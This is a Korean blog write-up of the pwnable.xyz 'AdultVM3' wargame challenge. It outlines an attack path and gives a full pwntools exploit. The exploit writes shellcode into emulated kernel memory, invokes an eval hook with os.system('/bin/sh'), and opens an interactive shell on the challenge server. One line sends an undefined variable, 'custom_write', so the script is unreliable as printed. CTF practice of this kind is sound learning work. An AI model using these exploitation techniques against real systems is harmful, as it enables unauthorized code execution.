블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] AdultVM3
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] AdultVM3

728x90

 

1. 문제


1) mitigation 확인 

Adult VM 시리즈 문제와 동일함 

 

 

 

2) 문제 확인 

Adult VM 시리즈 문제와 동일함 

 

 

 

3) 코드 확인 

Adult VM 시리즈 문제와 동일함 

 

 

 

2. 접근방법


 

이번에는 flag3에 대한 정보가 없다. 직접 flag3를 open으로 찾아야하나 싶던 찰나, eval 함수가 보였다. 그렇다면, eval를 이용해서 시스템 함수를 문자열로 넣으면 될것이다. 

 

최종적으로 rdi에 문자열이 들어가고, rdx에 문자열의 크기가 들어가는 것으로 보인다. AdultVM2에 이어서 진행하면된다. 

 

  • 시나리오
    1. note → note 아무 인덱스에나 "os.system('/bin/sh')" 넣어두기
    1. sys_read를 이용해서 note→id에 0 넣기
    1. mprotect로 커널주소 권한 업데이트
    1. eval함수가 실행되기 위해선 "int 0x70"이 호출되고, rax가 0x7이여야함. 따라서 직접 만들어서 커널 코드에 삽입 → 방법은 adultVM2와 동일
    1. 넣은 커널 코드가 rax=2에 해당한다면, 해당 시스템 콜 호출하면 직접 넣은 코드가 실행됨

 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
context(log_level="DEBUG",arch="amd64")
p=remote("svc.pwnable.xyz",30048)
#p=process(["python","[start.py](http://start.py/)"])
#p=process("./userland")
#gdb.attach(p,'code\nb *0x32D+$code\n')

def edit(id,content):
p.sendlineafter("3. Exit\n","1")
p.sendlineafter("id: ",str(id))
p.sendlineafter("ts: ",str(content))

def show(id):
p.sendlineafter("3. Exit\n","2")
p.sendlineafter("id: ",str(id))

for i in range(0,9):
if i==2:
	edit(i,"os.system(\"/bin/sh\")")
else:
	edit(i,"AA")

#gdb.attach(p,'code\nb *0x32D+$code\n')

payload=p64(10) #rdi -> #rax
payload+=p64(0xFFFFFFFF81000000) #rsi -> #rdi
payload+=p64(0x10000) #rdx -> #rsi
payload+=p64(7) #rcx -> #rdx
payload+=p64(0x4000338) #rax

payload2=p64(0)
payload2+=p64(0x4100380)
payload2+=p64(len(payload))
payload2+=p64(0x2000) #rdx -> #rsi
payload2+=p64(0x7) #rcx -> #rdx
payload2+=p64(0x400000F)

edit(9,payload2)
show(0)
#sleep(1)
p.send(payload)
show(0)

custom_code = '''
inc r8
mov rdx,rdx
mov rax, 7
int 0x70
iret
'''
custom_code = asm(custom_code)

payload3=p64(0)
payload3+=p64(0)
payload3+=p64(0)
payload3+=p64(0xFFFFFFFF81000106)
payload3+=p64(len(custom_code))
payload3+=p64(0x4000338)

edit(9,payload3)
show(0)
p.send(custom_write)

payload4=p64(0)
payload4+=p64(2)
payload4+=p64(0x41001f0)
payload4+=p64(0)
payload4+=p64(20) # 여기는 사이즈인데, eval에 들어가는 문자열의 길이와 딱맞아야함. 
payload4+=p64(0x4000338)

edit(9,payload4)
show(0)

#pause()

p.interactive()

 

 

 

 

4. 몰랐던 개념


참고로 custom_code에 의미없는 두 라인이 있음. "inc r8, mov rdx,rdx " 요건데 저거 없이 그냥 하면 코드길이가 10이 되서  

 

read_line 함수에서 바로 return됨. 

728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] fspoo  (2) 2020.11.21
[pwnable.xyz] NoteV5  (0) 2020.06.17
[pwnable.xyz] AdultVM2  (0) 2020.06.16
[pwnable.xyz] AdultVM  (0) 2020.06.15
[pwnable.xyz] note v4  (0) 2020.06.14